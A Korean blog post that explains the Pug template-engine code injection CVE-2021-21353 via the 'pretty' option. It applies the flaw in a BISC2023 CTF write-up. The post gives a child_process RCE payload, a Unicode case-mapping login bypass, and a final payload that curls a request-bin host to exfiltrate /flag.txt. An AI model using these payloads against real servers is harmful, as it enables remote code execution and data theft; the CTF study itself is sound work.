CVE-2021-21353

2025. 4. 6. 22:06Web Security/CVE

https://github.com/pugjs/pug/issues/3312

 

Code injection vulnerability in visitMixin and visitMixinBlock through "pretty" option · Issue #3312 · pugjs/pug

Hello, I found that pug may allow an attacker to inject arbitrary javascript code if an attacker can control options.pretty. Pug Version: 3.0.0 Proof of concept Here is an vulnerable example includ...

github.com

 

해당 취약점은 PUG에서 발생되는 CVE이다.

BISC2023의 대회에 BISC board 문제로 나왔다.

 

내용은 아래와 같다. pretty에 

 

해당 예시는 다음과 같다.

mixin print(text)

 

위 코드는 mixin html 코드를 재사용하기 위한 코드이다.

 

해당 mixin 함수를 부르게 되면 내부적으로 visitMixin, visitMixinBlock를 거치게 되는데 여기서 문제가 생기는 것이다.

우리의 pretty 값은 pp에 저장된다.

this.pp = options.pretty || false;

 

이후 해당 pp는 visitMixin, visitMixinBlock 해당 함수에 있는 아래와 같은 코드에 들어간 뒤에 컴파일 및 실행된다.

 "pug_indent.push('" + Array(this.indents + 1).join(this.pp) + "');"

 

 

예를 들어서 ');process.mainModule.constructor._load('child_process').exec('whoami');_=(' 다음 코드가 들어가면,

 "pug_indent.push(' " + ');process.mainModule.constructor._load('child_process').exec('whoami');_=('   + "');" 해당 부분처럼 된다 이를 실제 js실행하면 pug_indent.push('whoami 결과'); 처럼 실행된다.

 

그렇기 때문에 RCE 코드를 넣게되면 서버사이드 부분의 권한을 탈취할 수 있다. 이러한 취약점은 ejs에서도 발생된 걸로 기억난다.

이를 기반으로 BISC2023의 대회에 BISC board  문제를 풀어보겠다.

 

문제에서의 pug 버전을 보면 정확히 pug cve이가 발생되는 버전이다.

 

BIſC2023를 넣으면 우회된다 이는 Case Mapping Collisions 공격을 이용한 것이며, https://gosecure.github.io/unicode-pentester-cheatsheet/ 헤당 cheetsheet을 이용하면 쉽게 판별가능하다. 이외에도 종종 lower나 upper, 유니코드 정규화 과정에서 바뀌는 점을 이용하여 공격을 진행하기도 한다.

app.get('/login',function(req,resp){
    resp.render('login')
})
app.post('/login',function(req,resp){
    var {id,pw}=req.body
    if(id.toLowerCase()==='bisc2023'){ // toLowerCase 하면 안바뀌는데 //toUpperCase()에 BIſC2023
        resp.render('alert',{contents:'u r not admin',red:'/login'})
    }else{
        id=id.toUpperCase()
        if(id in accounts & accounts[id]===pw){
            now=id
            resp.redirect('/')
        }else{
            resp.render('alert',{contents:'fail',red:'/login'})
        }
    }
})

 

해당 부분을 이용하여 공격을 진행한다. 여기에 pretty에 아래와 같은 페이로드를 입력한 뒤에 note에 접근하면 flag 에 접근이 가능하다.

var {title,b_title,content,pretty}=req.body //여기 부분에 pretty를 넣어야함
        if(now!=="BISC2023"){ // 여기부분을 우회해야됨됨
            pretty=false
        }
        console.log(pretty)
        board[title]=[board[b_title][0],content,pretty?pretty:false]
');process.mainModule.constructor._load('child_process').exec('curl https://agemcef.request.dreamhack.games?flag=$(cat /flag.txt)');//

'Web Security > CVE' 카테고리의 다른 글

CVE-2020-7245: CTFd Account Takeover  (0) 2024.09.15